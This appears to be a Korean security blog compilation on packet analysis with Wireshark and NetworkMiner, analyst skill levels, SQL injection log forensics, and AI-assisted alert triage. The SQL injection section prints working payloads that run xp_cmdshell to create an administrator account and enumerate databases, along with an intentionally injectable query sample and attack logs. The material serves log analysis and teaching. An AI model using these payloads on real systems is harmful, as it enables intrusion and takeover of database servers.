가장 많이 사용되는 와이어샤크에 대해서 살펴 보자. 예전 이더리얼이라 불렸던 와이어샤크는 무료로 사용할 수 있는 대표적인 패킷분석 프로그램 이다. 네트워크 트래픽 통계와 스트림 정보, 파일 추출 등 분석에 필요한 다양한 기능을 제공한다. 공격자에게 백도어가 있다면 분석가에겐 분석 도구가 있다.

와이어샤크는 분석가들 사이에 워낙 많이 사용되는 툴이기 때문에 기본적인 사용법은 홈페이지[1]를 참고하자. 우리는 분석할 때 유용한 메뉴를 중심으로 분석도구로서 사용하는 방법을 같이 살펴 볼 것이다. 그리고 간편하게 사용할 수 있는 네트워크마이너도 살펴볼 예정이다.


[1] https://www.wireshark.org/docs/wsug_html_chunked/

와이어샤크(Wireshark)

  • 네트워크를 통해 전달된 파일 확인

포렌식 관점에서 와이어샤크의 가장 유용한 기능은 패킷에서 파일을 추출하는 것이다. 먼저 파일을 추출할 pcap 파일을 불러온다. 파일을 불러오면 Export objects 명령을 이용해 파일을 추출하자.

File > Export objects

그림 와이어샤크(파일추출)

통신 프로토콜을 선택하다. HTTP 통신을 선택하면 다음과 같이 웹 통신을 통해 주고 받은 파일 목록이 나타난다.

그림 추출파일목록

Save All 명령을 이용해 전체 파일을 저장할 수 있고, 필요한 파일만 Save As 메뉴를 이용해 저장한다.

그림 추출파일저장

악성코드로 의심되는 파일을 추출하면 파일 분석 도구를 이용해 정적분석을 수행하거나, 가상머신에서 파일을 실행시켜 동적분석을 수행하는데 사용한다. 혹은, 기업이나 조직의 중요한 내부 문서가 외부로 유출되는 경우 의심 파일을 추출해서 증거로 사용한다.

  • 트래픽 정보 확인

이상 트래픽을 분석하는 관점에서 와이어샤크가 제공하는 유용한 기능 중 하나는 저장된 pcap파일의 트래픽 정보를 통계적인 관점으로 제공하는 것이다. 와이어샤크에서 제공하는 메뉴 중에서 Statistic 메뉴를 활용하면 다양한 통계 정보를 확보할 수 있다.

Statistics -> IO 그래프

IO그래프를 분석에 활용하기 위해서는 필터링 항목을 적극 이용해야 한다. IO 그래프를 실행시킨 화면만으로는 이상 트래픽을 분석하기 위한 단서 정보를 찾기 어렵다. 아래 그림은 IO그래프를 실행 시킨 모습니다. 아래 그래프를 통해서 우리가 확보할 수 있는 단서는 12시 13분쯤 트래픽이 한차례 증가 되었고, 이후 12:14분에 다시 한번 트래픽 증가가 있었다는 내용이다.

그림 IO 그래프

좀더 분석을 효율적으로 하기 위해 우리는 각각의 프로토콜 별로 색깔을 다르게 그래프로 표시해 보자. 각각 프로토콜 별로 필터링을 통해 실제 의심 현상과 관련된 프로토콜 연관성을 확인하는 작업을 수행한다. 이러한 과정을 통해 많은 정보를 분석할 때 좀더 효율적으로 시간을 아낄 수 있다.

그림 IO 그래프
그림 IO 그래프 패킷 필터 적용
  • Protocol Hierarchy

앞서 IO 그래프를 통해 전체 트래픽 중에서 이상 현상이 발생된 트래픽을 확인하는 과정을 수행 했다면, 실제 세부 트래픽을 분석하는 작업이 필요한데, 이때 statistic 메뉴 중에 프로토콜 하이라키를 이용하면 저장된 pcap 파일의 구조를 살펴 볼 수 있다. 전체 트래픽 중 패킷 비율이나 프토토콜 비율 확인을 통해서 분석의 단서를 찾아 나간다.

Statistics -> Protocol Hierarchy

그림 Protocol Hierarchy
  • 패킷분석

효율적인 패킷 분석에 빠질 수 없는 것 중 하나가 패킷 필터이다. 기본적으로 표준 pcap 형식의 파일은 BPF(Berkeley Packet Filter)를 지원한다. 와이어샤크를 통해 불러온 pcap파일은 BPF 구문을 이용해 효율적으로 패킷 분석이 가능하다.

패킷 필터 구문 사용 시 기본 지원 되는 연산자 종류는 3가지가 있다.

연산자 종류문법
AND 연산자AND (&&)필터 구문간 AND 조합 연산샘플 구문 tcp.port == 80 && ip.addr == 74.195.238.237
OR 연산자OR (||)필터 구문간 OR 연산샘플 구문 tcp.port == 80 || ip.addr == 74.195.238.237
NOT 연산자NOT (!)지정 필터 구문에 대한 NOT 연산샘플 구문 tcp.port == 80 && !(ip.addr == 74.195.238.237)

필터 관련 문법은 와이어샤크 프로그램에서 자동완성 형식으로 저장되기 때문에 복잡한 구문을 일일이 외우고 있을 필요 없다. 필요한 프로토콜을 지정하면 사용 가능한 문법이 자동 완성 된다.

그림 패킷필터구문

네트워크마이너(NetworkMiner)

네트워크 패킷 분석 도구 중에 네트워크마이너에 대해서 살펴보자. 앞서 패킷 분석 작업에 가장 많이 사용되는 와이어샤크를 살펴 보았다. 와이어샤크를 사용하기 위해서는 프로토콜에 대한 이해도 필요하고 정보를 찾기 위해 프로그램에서 제공하는 메뉴에 대해 공부가 필요하다. 하지만 이번에 살펴볼 네트워크마이너는 쉽고 강력하게 분석가에게 필요한 정보를 제공하는 툴 중에 하나다. 저장된 pcap 파일을 프로그램에 불러오면 자판기에서 먹고 싶은 음료수를 누르듯이 필요한 정보를 클릭하기만 하면 된다.

홈페이지[1]에서 프로그램을 다운 받을 수 있다. 버전은 프리버전과 상용 버전이 있다.

프로그램을 실행하고 분석할 pcap파일을 오픈하면 자동으로 각각의 메뉴에 맞게 패킷을 가공 한다.

그림 네트워크마이너

분석가는 각 탭을 하나씩 클릭해서 분석에 필요한 정보를 하나씩 살펴 보면 된다. 복잡하게 필터 문법을 사용하거나 메뉴을 하나씩 클릭할 필요 없이 쉽게 필요한 정보를 마우스 클릭으로 찾아서 사용하면 된다. 어려운 툴을 사용해야만 고급 분석을 할 수 있는 건 아니다. 상황과 조건에 맞게 적합한 툴을 사용하는 것이 분석 도구를 선택하는 중요한 기준이다.

네트워크 기반의 패킷 분석 프로그램을 살펴 보았고, 이제 파일 기반의 분석 프로그램을 살펴보자.


[1] https://www.netresec.com/?page=NetworkMiner

분석가의 기본 지식

  • 침해사고대응 전문가

전문 침해 대응 업무를 수행하기 위해서 필요한 기술의 종류는 다양하다. 트래픽 분석에서부터 악성코드 분석까지 보안 업무의 분야가 다양한 만큼 필요한 기술의 종류도 여러 가지다.

전문 침해 대응 업무를 수행하기 위해서 필요한 대표적인 업무 스킬 항목을 살펴 보자. 각 업무 마다 기술 수준에 따라 초급, 중급, 고급으로 나눌 수 있다. 기술수준을 나눌 때 어떤 기준으로 나누는지 표를 통해 살펴 볼 것이다. 해당 수준 정의는 조직이나 기업의 상황에 따라 차이가 발생할 수 있다.

패킷 분석 레벨

Beginner

  • 단일 패킷 분석 – 처음 패킷을 분석하는 분석가는 개별 패킷을 구분하고 패킷 내용을 이해 합니다. 단편화된 패킷의 헤더와 페이로드 구성을 이해할 수 있습니다.
  • 헤더 정보 이해 – 패킷 헤더에 포함된 프로토콜 정보를 이해 할 수 있습니다. TTL 의미와 IP Flags, Fragment Offset이 의미하는 내용을 이해할 수 있어야 합니다.
  • 응용프로그램 식별 – 패킷 데이터의 페이로드 정보를 통해 통신 애플리케이션(응용프로그램)이 무엇인지 식별할 수 있어야 합니다. 식별을 위해 HTTP/FTP/SSH 등 응용 프로그램 프로토콜 통신 형식에 대해서 이해가 필요 합니다.
  • IP/Port정보 식별 – 클라이언트와 서버의 통신 주소와 통신 포트를 식별할 수 있습니다.

Intermediate

  • 단일 패킷 분석 – 패킷을 분석하는 분석가는 개별 패킷을 구분하고 패킷 내용을 이해 합니다. 단편화된 패킷의 헤더와 페이로드 구성을 이해할 수 있습니다.
  • 헤더 정보 이해 – 패킷 헤더에 포함된 프로토콜 정보를 이해 할 수 있습니다. TTL 의미와 IP Flags, Fragment Offset이 의미하는 내용을 이해할 수 있어야 합니다.
  • 응용프로그램 식별 – 패킷 데이터의 페이로드 정보를 통해 통신 애플리케이션(응용프로그램)이 무엇인지 식별할 수 있어야 합니다. 식별을 위해 HTTP/FTP/SSH 등 응용 프로그램 프로토콜 통신 형식에 대해서 이해가 필요 합니다.
  • IP/Port정보 식별 – 클라이언트와 서버의 통신 주소와 통신 포트를 식별할 수 있습니다.
  • 페이로드 분석 – 통신 애플리케이션 형식에 대한 이해를 바탕으로 전달된 파라미터 정보를 구분할 수 있습니다. 정상 파라미터 유형에 대해서 이해하고 있습니다. HTTP 통신에 사용되는 표준 통신 메소드 종류. Ex. GET / POST / HEAD 등
  • 공격 패킷 구분 – 공격 관련 통신 애플리케이션과 비정상 통신 애플리케이션 특징을 구분할 수 있어야 합니다. 페이로드 분석을 통해 정상 통신 패킷의 파라미터 정보와 공격을 시도하는 패킷을 구분할 수 있어야 합니다.
  • 공격 경로 식별 – 공격 패킷 페이로드에 포함된 정보를 분석해서 공격에 사용된 특징을 분석 할 수 있어야 합니다. HTTP URL 정보나 시스템 명령 실행 경로 등을 분석해서 공격이 발생한 대상과 위치를 식별할 수 있어야 합니다.
  • 공격 영향 구분 – 공격 패킷 페이로드에 포함된 정보를 분석해서 공격에 사용된 특징을 분석 할 수 있어야 합니다. 파악된 공격 유형과 패킷에 포함된 시스템 응답 정보를 분석해서 공격이 성공했는지 실패했는지 파악 할 수 있어야 합니다. 파악한 정보를 통해 시스템에 발생 가능한 영향을 분석 할 수 있어야 합니다.

Advanced

  • 단일 패킷 분석/ 풀패킷 분석 – 패킷을 분석하는 분석가는 개별 패킷을 구분하고 패킷 내용을 이해 합니다. 단편화된 패킷의 헤더와 페이로드 구성을 이해할 수 있습니다. 전체 패킷을 조합해서 세션 기반의 통신 정보를 분석 할 수 있어야 합니다. 공격자가 시스템에 연결한 시간, 시스템과 주고 받은 전체 데이터 양, 다운받거나 업로드한 파일 정보를 분석할 수 있어야 합니다.
  • 패킷 재조합, 패킷 필터 – 키워드 또는 통신 유형에 따라 패킷을 재 구성하거나 방대한 패킷에 분석에 필요한 패킷을 효율적으로 분석 할 수 있습니다.
  • 헤더 정보 이해 – 패킷 헤더에 포함된 프로토콜 정보를 이해 할 수 있습니다. TTL 의미와 IP Flags, Fragment Offset이 의미하는 내용을 이해할 수 있어야 합니다.
  • 응용프로그램 식별 – 패킷 데이터의 페이로드 정보를 통해 통신 애플리케이션(응용프로그램)이 무엇인지 식별할 수 있어야 합니다. 식별을 위해 HTTP/FTP/SSH 등 응용 프로그램 프로토콜 통신 형식에 대해서 이해가 필요 합니다.
  • IP/Port정보 식별 – 클라이언트와 서버의 통신 주소와 통신 포트를 식별할 수 있습니다.
  • 페이로드 분석 – 통신 애플리케이션 형식에 대한 이해를 바탕으로 전달된 파라미터 정보를 구분할 수 있습니다. 정상 파라미터 유형에 대해서 이해하고 있습니다. HTTP 통신에 사용되는 표준 통신 메소드 종류. Ex. GET / POST / HEAD 등
  • 공격 패킷 구분 – 공격 관련 통신 애플리케이션과 정상 통신 애플리케이션 특징을 구분할 수 있어야 합니다. 페이로드 분석을 통해 정상 통신 패킷의 파라미터 정보와 공격을 시도하는 패킷을 구분할 수 있어야 합니다.
  • 공격 경로 식별 – 공격 패킷 페이로드에 포함된 정보를 분석해서 공격에 사용된 특징을 분석 할 수 있어야 합니다. HTTP URL 정보나 시스템 명령 실행 경로 등을 분석해서 공격이 발생한 대상과 위치를 식별할 수 있어야 합니다.
  • 공격 영향 구분 – 공격 패킷 페이로드에 포함된 정보를 분석해서 공격에 사용된 특징을 분석 할 수 있어야 합니다. 파악된 공격 유형과 패킷에 포함된 시스템 응답 정보를 분석해서 공격이 성공했는지 실패했는지 파악 할 수 있어야 합니다. 파악한 정보를 통해 시스템에 발생 가능한 영향을 분석 할 수 있어야 합니다.

이외에도 다양한 보안 관련 이벤트에 대해서 분석 가능한 역량이 구분 됩니다.

 초급중급고급
패킷분석단일 패킷 분석헤더 정보 이해응용프로그램 식별IP/Port정보 식별단일 패킷 분석헤더 정보 이해응용프로그램 식별IP/Port정보 식별 페이로드 분석공격 패킷 구분공격 경로 식별공격 영향 구분단일 패킷 분석/ 풀패킷 분석패킷 재조합, 패킷 필터헤더 정보 이해응용프로그램 식별IP/Port정보 식별 페이로드 분석공격 패킷 구분공격 경로 식별공격 영향 구분
로그분석윈도우/유닉스 로그 타입 이해로그 저장 경로로그 내용 이해윈도우/유닉스 로그 타입 이해로그 저장 경로로그 내용 이해비정상 로그 식별윈도우/유닉스 로그 타입 이해로그 저장 경로로그 내용 이해비정상 로그 식별 트러블 슈팅원인 분석
네트워크 침입탐지IDS/IPS 이해오픈 소스(Snort)위험도 구분IDS/IPS 이해침입탐지원리 이해오픈 소스(Snort)위험도 구분룰셋 이해기본 구성 및 설정IDS/IPS 이해침입탐지원리 이해오픈 소스(Snort)위험도 구분룰셋 이해기본 구성 및 설정설정 최적화룰셋 제작네트워크 구성 및 설치
방화벽방화벽 이해접근제어리스트(ACL)  방화벽 이해침입차단원리 이해접근제어리스트(ACL)ACL 작성방화벽 이해침입차단원리 이해접근제어리스트(ACL)ACL 작성네트워크 구성 및 설치ACL 관련 고급 설정방화벽 운영 및 설정최적화
호스트기반 침입탐지HIDS 이해오픈 소스(OSSEC)HIDS 이해침입탐지원리 이해오픈 소스(OSSEC)탐지 항목 이해룰셋 이해기본 구성 및 설정호스트 기반의 침입HIDS 이해침입탐지원리 이해오픈 소스(OSSEC)탐지 항목 이해룰셋 이해기본 구성 및 설정호스트 기반의 침입HIDS 설치 및 구성 설계HIDS 탐지 및 수집 항목 정의

표 침입대응 수준 정의

SQL Injection 공격 유형과 피해 로그 분석를 통한 시스템 영향 점검


SQL Injection 공격은 1998년 처음 발표되고, OWASP에서 2003년 부터 지속적으로 심각한 취약점 Top 10으로 꾸준히 발표되고 있다. 최초 공격이 발견되고 대규모 공격 툴들이 사용되면서 많은 기업의 웹 사이트에 피해를 발생 시켰다. 현재도 SQL Injection 공격을 자공화된 공격 형태로 지속적으로 발생하고 있다.


SQL Injection공격은 URL요청 또는 웹 요청에 포함되는 파라미터 값에 SQL 구문이나 시스템 명령을 삽입하는 형태의 공격이다. 웹 사이트에서 많이 사용되는 게시판이나 방명록, 검색 기능과 같이 데이터베이스와 연동하여 사용하는 Web Application을 대상으로 발생되는 공격으로 SQL 쿼리 구문 조작을 통해 인가되지 않은 정보를 조회하거나 데이터베이스 내용을 조작할 수 있다. 혹은 확장 프로시저를 이용할 경우 시스템 명령을 실행할 수 있다.

SQL Injection 공격으로 인한 대표적인 피해 사례는 정보 유출이다. SQL Injection 취약점이 발표되고 취약점을 이용한 공격툴이 많이 제작 되었다. 제작된 툴들은 업그레이드를 통해 기능이 점차 다양해 지고 강력해 졌다. 자동화된 공격툴은 단순 클릭 몇 번만으로도 사이트에 가입한 회원들의 개인정보 획득이 가능하다.

공격의 기본적인 원리에 대해 이해하기 위해 예전 2009년도 집필했던 보안 서적의 관련 자료를 인용해 공격 취약점에 대해 설명한다.

C드라이브 목록 반환

xp_cmdshell명령을 이용해 시스템 명령을 실행 하거나 결과를 파일로 저장 할 수 있다. 최근에 사용되는 데이터베이스의 경우 해당 기능의 강력함으로 기본 설정은 사용이 중지 되어 있다. 하지만 모든 보안사고는 취약한 서버 설정으로 인해 공격이 시작 되듯이 해당 설정이 편의를 위해 사용하는 경우도 있다.

DECLARE @dir sysname, @temp sysname
SET @temp = ‘dir C:\’
SET @dir = @temp + ‘ > result.txt’
EXEC master..xp_cmdshell @dir

이러한 시스템 명령 실행 기능을 이용해 공격자는 데이터베이스에 전달되는 인자 값에 공격을 목적으로 하는 구문을 추가하여 전달한다. 실제 Web Application 파라미터 값이 데이터베이스에 전달 되는 과정에서 공격자에 의해 특정 데이터베이스구문이 추가 되었을 경우 발생되는 결과를 살펴 보자. 아래 코드는 데이터베이스의 특정 게시판의 글을 DB Query 구문을 이용해 가져오는 코드 샘플이다.

function getList(table_key)

         dim sql_query, get_list, result

         sql_query=”SELECT * FROM Board WHERE table_key=”&table_key

         set get_list = conn.execute(sql_query)

         getList = result

end function

getList함수는 인자 값을 전달 받아 해당 값을 SQL Query구문에 삽입해 SQL Query를 수행 하고, 수행된 결과를 다시 돌려준다. 위 코드의 table_key 변수가 사용자 또는 Web Application으로부터 전달 받는 파라미터 값이 라고 가정했을 경우 해당 파라미터 값을 아래와 같이 요청할 경우에는 vistor 값 외에 추가로 ‘;exec master..xp_cmdshell ‘net user user_test test4321 /add’;– 구문이 전달된다.

Board=visitor’;exec master..xp_cmdshell ‘net user user_test test4321 /add’;–

추가된 구문은 앞에서 설명한 확장 저장 프로시저로 user_test 라는 계정을 추가하는 시스템 명령 쉘을 생성한다. 프로그램에 의해 수행되는 전체 SQL 실행 구문을 조합해 보면 다음과 같다.

SELECT * FROM Board WHERE table_key=’;exec master..xp_cmdshell ‘net user user_test test4321 /add’;–

구문 마지막에 하이픈(-)을 2개 붙인 이유는 뒤쪽에 추가로 붙게 되는 SQL 구문이 있을 경우 구문오류가 발생 할 수 있기 때문에 추가로 붙는 SQL 구문은 주석처리가 되어 구문 오류를 방지하기 위함이다.


관리자 권한으로 계정 추가

오류가 발생된 URL을 이용해 테스트를 진행해 보기로 하자. SQL Injection 취약점을 이용해서 xp_cmdshell을 실행시켜 실제 시스템에 test_user라는 사용자를 추가 한다.

  • 사용자계정추가
http://www.test.co.kr/xxx/vul_page.asp?vul_parmeter=1234′;exec master..xp_cmdshell ‘net user user_test test4321 /add’;–

시스템 명령 net user를  이용해서 user_test 계정을 추가한다.

컴퓨터 관리 > 로컬 사용자 및 그룹 > 사용자

SQL Injection 공격에 의한 user_test 계정 생성

컴퓨터의 로컬 사용자 및 그룹에 사용자 정보를 확인해 보면 SQL Injection공격을 통해 user_test계정이 생성된 것을 확인 할 수 있다.

②추가한 계정의 사용자 관리자 그룹에 구성원 추가

사용자를 추가 한 후 동일한 방식으로 사용자를 administrators그룹에 저장한다 http://www.test.co.kr/ xxx/vul_page.asp?vul_parmeter=0000000001′;exec master..xp_cmdshell ‘net localgroup administrators user_test /add’;–

시스템 명령 net localgroup을 이용해서 user_test 계정을 관리자 그룹에 구성원으로 추가한다.

사용자 그룹 추가

관리자 권한의 계정을 공격대상 시스템에 생성 하였고, 외부에서 접근 가능한 Service(Remote Terminal, Telnet, FTP, …)에 접근이 가능해 졌다. SQL Injection 취약점을 이용해 시스템 명령을 실행 하였고, 사용자 계정도 추가 되었다.

복잡한 해킹 공격 과정이 필요 한 것도 아니다. 단순 개발 과정에서 파라미터로 전달되는 입력값의 검증 부재와 편의를 위해 ODBC설정을 sa(설치 시 생성하는 계정으로 SQL서버의 모든 권한을 갖는다)계정으로 연동 함으로써 sa계정 권한으로 시스템 명령 수행이 가능했다.

이때 이용되는 확장저장프로시저는 xp_cmdshell, xp_dirtree 등이 사용된다. 사실 xp_cmdshell의 경우 일반적인 MS-SQL DB와 연동된 웹 프로그래밍에서 사용되지 않는다. 일차적으로 취약점이 노출되어 시스템 계정이 획득되면 차후 재 접근을 용이 하기 위해 시스템에 백도어 파일을 설치 하게 된다.


사용자 추가 시 발생되는 웹 로그

오류가 발생된 URL을 이용해 테스트를 진행해 보기로 하자. SQL Injection 취약점을 이용해서 xp_cmdshell을 실행시켜 실제 시스템에 test_user라는 사용자를 추가 한다.

① SQL Injection취약점을 이용한 사용자 추가 요청 URL

http://www.test.co.kr/xxx/vul_page.asp?vul_parmeter=0000000001 ‘;exec master..xp_cmdshell ‘net user user_test test4321 /add’;– http://www.test.co.kr/xxx/vul_page.asp?vul_parmeter=0000000001 ‘;exec master..xp_cmdshell ‘net localgroup administrators user_test /add’;–

② Web Server에 기록된 로그

2008-03-27 20:57:16 192.168.228.1 – 192.168.228.100 80 GET /xxx/vul_page.asp?vul_parmeter=0000000001 ‘;exec%20master..xp_cmdshell%20’net%20user%20user_test%20test4321%20/add’;–|123|800a0d5d|Application_uses_a_value_of_the_wrong_type_for_the_current_operation. 500 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1) 2008-03-27 20:59:11 192.168.228.1 – 192.168.228.100 80 GET xxx/vul_page.asp?vul_parmeter=0000000001 ‘;exec%20master..xp_cmdshell%20’net%20localgroup%20administrators%20user_test%20/add’;–|123|800a0d5d|Application_uses_a_value_of_the_wrong_type_for_the_current_operation. 500 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1)

SQL Injectino 취약점을 이용해 사용자를 추가하는 URL요청 시 실제 웹 응답코드[1]는 500.100으로 내부 오류를 의미 한다.

하지만 응답코드는 Web Application이 오류가 발생되었음을 의미하지만 별개로 Database에 파라미터 값이 전달되어 사용자 계정이 추가 되었다.

실제 수행된 SQL Query

– exec master..xp_cmdshell ‘net user user_test test4321 /add’;– – exec master..xp_cmdshell ‘net localgroup administrators user_test /add’;–


자동화 공격툴 분석

<HDSI툴 사용시 발생 웹 로그>

예전 많이 사용되었던 HDSI 공격툴은 중국에서 제작된 자동화 공격툴로 SQL Injection 취약점을 이용해 시스템 명령 실행, DB정보 획득, 악성코드 삽입 등의 기능을 제공한다.

먼저 데이터베이스가 노출될 경우 발생하는 웹 로그를 살펴 보자. SQL Injection에 취약한 URL이 존재 할 경우 자동화 공격툴을 이용해 DB에 저장된 정보를 손쉽게 획득할 수 있다. 다음 화면은 자동화된 공격툴을 이용해 데이터베이스 정보를 추출하는 화면 입니다.

HDSI SQL Injection 공격툴

공격 시 웹 서버에 기록된 웹 로그는 다음과 같습니다. 자동화된 공격툴을 이용해 취약한 URL의 파라미터로 SQL 인젝션 공격이 이뤄 진다. 삽입된 SQL 구문은 데이터베이스의 테이블 이름을 목록화 하기 위해 셀렉트문을 실행 한다. SQL 쿼리구문 실행 과정에서 오류정보에 테이블 이름을 수집 할 수 있다. 자동화된 공격툴이 실행시킨 SQL문과 유출된 테이블 정보는 웹 로그에 기록 된다.

– 21:06:47 192.168.228.1–192.168.228.100 80 GET / xxx/vul_page.asp?vul_parmeter=0000000001’%20%20And%20(Select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(8000))%20from(Select%20Top%2014%20id,name%20from%20[test]..[sysobjects]%20Where%20xtype=char(85)%20order%20by%20name%20asc,id%20desc)%20T%20order%20by%20name%20desc,id%20asc)>0%20And%20’’=’|7|80040e07|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Syntax_error_converting_the_varchar_value_’^tbl_discussion^’_to_a_column_of_data_type_int. 500

– 21:06:48 192.168.228.1–192.168.228.100 80 GET / xxx/vul_page.asp?vul_parmeter=0000000001’%20%20And%20(Select%20char(94)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(94)%20From%20[test]..[tbl_discussion]%20Where%201=1)>0%20And%20’’=’|7|80040e07|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Syntax_error_converting_the_varchar_value_’⁰^’_to_a_column_of_data_type_int. 500

SQL Injection 공격은 취약한 URL의 매개변수로 자동화된 공격 도구를 사용하여 수행 된다. URL 정보는 인코딩되어 있으므로 먼저 디코딩해야 한다. 자동 변환 사이트도 있지만 ChatGTP를 이용한 쉽게 파라미터 구문을 확인할 수 있다.

ChatGPT 로그 분석

<출처: ChatGPT 답변>

제공된 문자열은 URL 인코딩된 SQL 주입 시도인 것으로 보입니다. SQL 주입은 공격자가 악성 SQL 코드를 주입하여 취약한 SQL 쿼리를 조작하거나 악용하려는 기술입니다.

문자열을 디코딩하면 다음과 같습니다.

0000000001′ And (Select Top 1 cast(char(94)+name+char(94) as varchar(8000)) from(Select Top 14 id,name from [test]..[sysobjects] Where xtype=char(85) order by name asc,id desc) T order by name desc,id asc)>0 And ‘’=’|7|80040e07|

이 문자열은 공격자가 SQL 쿼리를 악용하여 데이터베이스에서 정보를 추출하려는 UNION 기반 SQL 주입 공격을 시도하고 있음을 시사합니다.

SQL 주입 공격을 수행하거나 시도하는 것은 불법이고 비윤리적이라는 점에 유의하는 것이 중요합니다. 보안 취약점이나 시도가 의심되는 경우 해당 기관이나 조직의 보안 팀에 보고하는 것이 좋습니다.


시스템 명령 실행 시 발생되는 웹 로그

실제로 파라미터 값을 통해 시스템 명령이 실행돼도 웹 응답 코드는 500으로 표기 될 수  있다.

2008-03-27 21:18:44 192.168.228.1 – 192.168.228.100 80 HEAD / xxx/vul_page.asp?vul_parmeter =0000000001%27%3B%44%72%6F%70%20%74%61%62%6C%65%20%63%6F%6D%64%5F%6C%69%73%74%20%3B%43%52%45%41%54%45%20%54%41%42%4C%45%20%63%6F%6D%64%5F%6C%69%73%74%20%28%43%6F%6D%52%65%73%75%6C%74%20%6E%76%61%72%63%68%61%72%28%31%30%30%30%29%29%20%49%4E%53%45%52%54%20%63%6F%6D%64%5F%6C%69%73%74%20%45%58%45%43%20%4D%41%53%54%45%52%2E%2E%78%70%5F%63%6D%64%73%68%65%6C%6C%20%22%64%69%72%20%63%3A%5C%22%2D%2D|32|800a004c|경로를_찾을_수_없습니다. 500 Mozilla/3.0+(compatible;+Indy+Library) 2008-03-27 21:18:44 192.168.228.1 – 192.168.228.100 80 GET / xxx/vul_page.asp?vul_parmeter =0000000001’%20And%20(select%20top%201%20char(94)%2Bcast(ComResult%20as%20varchar(8000))%2Bchar(94)%20%20from%20(%20select%20top%201%20ComResult%20from%20[comd_list]%20order%20by%20ComResult%20desc%20)%20as%20as_TableName%20order%20by%20ComResult%20asc%20)>0%20And%20”=’|7|80040e37|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Invalid_object_name_’comd_list’. 500 Internet+Explorer+6.0

실제 공격에 해당 되는 구문 쿼리 분석기 실행 결과는 아래와 같다.

실제 수행된 SQL Query

– Drop table comd_list ;CREATE TABLE comd_list (ComResult nvarchar(1000)) INSERT comd_list EXEC MASTER..xp_cmdshell “dir c:\”– – select top 1 char(94)+cast(ComResult as varchar(8000))+char(94)  from ( select top 1 ComResult from [comd_list] order by ComResult desc ) as as_TableName order by ComResult asc

사용되는 공격도구에 따라 로그에 발생하는 패턴이나 SQL 구문은 차이가 조금씩 발생한다. 기본적인 공격 원리에 대한 이해를 통해 공격 로그 분석 시 시스템 영향을 분석한다.

SQL Injection 공격의 시스템 피해 유형과 로그 분석을 위한 주요 공격 패턴에 대해서 살펴 보았다.

AI-Driven 보안 경보 분석 업무 쉽게 하기

보안팀 대응 업무의 가장 많은 리소스 사용은 탐지된 보안 경보를 분석해 보안 위협을 구분하는 과정 이다. 다양한 보안 장비의 상관분석을 통해 탐지된 보안 경보는 각각의 보안 로그를 재조합해 분석팀/관제팀에서 분석에 필요한 문맥 정보를 파악 한다. 이 과정에서 탐지된 보안 로그를 확인하는 과정에 시간이 많이 소요 된다. 각각의 필드 정보와 IOC 연관 정보를 식별하는 과정은 단순 업무의 반복이다.

RAG 기술을 활용해 인공지능 엔진을 보안 위협 대응 과정에 활용하면 보안 경보 분석 과정을 혁신적으로 빠르게 분석할 수 있다. 전통적으로 SIEM 솔루션에서 발생한 경보를 분석하는 과정과 인공지능 엔진을 활용해 경보를 분석하는 과정을 비교해 볼 수 있다.

다음 화면 캡처를 통해 전통적인 보안 경보 분석 하는 과정을 먼저 설명 드립니다. 탐지된 경보 중 인텔리전스 정보를 활용한 블랙 리스트 IP에 접속한 경보를 살펴 본다.

그림. 보안 경보 상세 로그 분석 1단계. 이벤트 설명

탐지 위협을 이해하기 위해 탐지된 경보에 대해 설명을 확인하고, 경보가 의미하는 내용과 조사 방법에 대한 설명을 확인 한다. 참조 내용을 기반으로 탐지된 상세 로그를 분석 한다. 탐지 시간, 탐지된 IP 정보를 확인 하고, IP 정보에 대한 평판을 확인하기 위해 평판 조회 사이트를 참고 한다. 의심 IP에 접속한 호스트에 대해 상세 정보를 확인 한다.

그림. 보안 경보 상세 로그 분석 2단계. 외부 IP 평판 정보 분석

운영 체제 정보와 연결에 사용한 프로그램을 확인 한다. 연결에 사용된 프로그램 정보는 악성코드나 백도어에 의한 원격 연결을 확인하는데 중요한 정보이다. 개별 분석 정보를 취합해 분석가는 해킹에 의한 이벤트 발생 여부를 판단 한다.

그림. 보안 경보 상세 로그 분석 3단계. 보안 장비 로그 확인

추가로 시각화 정보를 이용하게 되면 좀더 직관적으로 탐지 이벤트에 대해 이해할 수 있다. 최초 실행된 프로세스와 해당 실행 파일 정보를 통해 인터넷 연결을 통한 네트워크 연결 과정을 확인할 수 있다.

그림. 보안 경보 상세 로그 분석 4단계. 시각화 정보 분석

이러한 과정은 실시간으로 보안팀 분석가가 반복적으로 수행하는 작업이며, 분석에 대부분의 업무 리소스를 사용 한다.

생성형 AI 역량을 활용하면 앞서 분석가가 직접 확인해야 하는 정보를 자동으로 분석하고 빠르게 대응할 수 있도록 경보와 연관된 모든 정보를 확인 수 있다. 프롬프트 엔지니어링을 통해 간단하게 관련 정보를 확인할 수 있다. 엘라스틱에 수집된 로그를 이용해 분석 보고서 정보를 생성 할 수 있다. 다음 화면은 앞서 설명한 분석 과정을 Elastic AI-Driven 엔진을 통해 자동으로 모든 과정의 정보를 취합하는 화면 캡처다.

그림. 인공지능 엔진을 이용한 보안 경보 분석 정보 자동 생성

Elastic AI Assistant가 탐지된 경보에 대한 상세 로그를 분석해 중요한 위협 식별 정보를 정리 한다. 탐지된 보안 이벤트 종류와 형식을 요약하고, 연관된 호스트 정보를 상세하게 분석해 제공 한다. 호스트 또는 사용자에 대한 위험 리스크 스코어도 함께 제공해 분석가가 판단에 필요한 도움을 제공 한다.

외부로 통신을 시도한 설치 프로그램 정보를 분석에 제공하면 분석가는 시간을 들여 분석하지 않아도 핵심적인 이벤트 대응 정보를 참고 할 수 있다. 여기에 추가로 필요한 대응 조치에 대해 확인해 대응 과정에서 활용 할 수 있다. 앞서 메뉴얼하게 분석하는 과정과 비교해 보면 대응 시간을 드라마틱하게 줄여 대응 역량을 높일 수 있다. 분석 보고서는 케이스 생성을 통해 시스템에 대응 근거로 저장해 침해사고 대응 과정에 대한 기록으로 활용할 수 있다. 이처럼 인공지능 역량을 활용한 보안 위협 대응은 다양한 보안 위협을 대응하는 기업의 역량을 높이는데 매우 중요한 요소다.

자세한 데모를 통해서 생성형 AI를 활용해 실제 위협 분석을 진행하는 과정은 유튜브 링크를 참조 한다.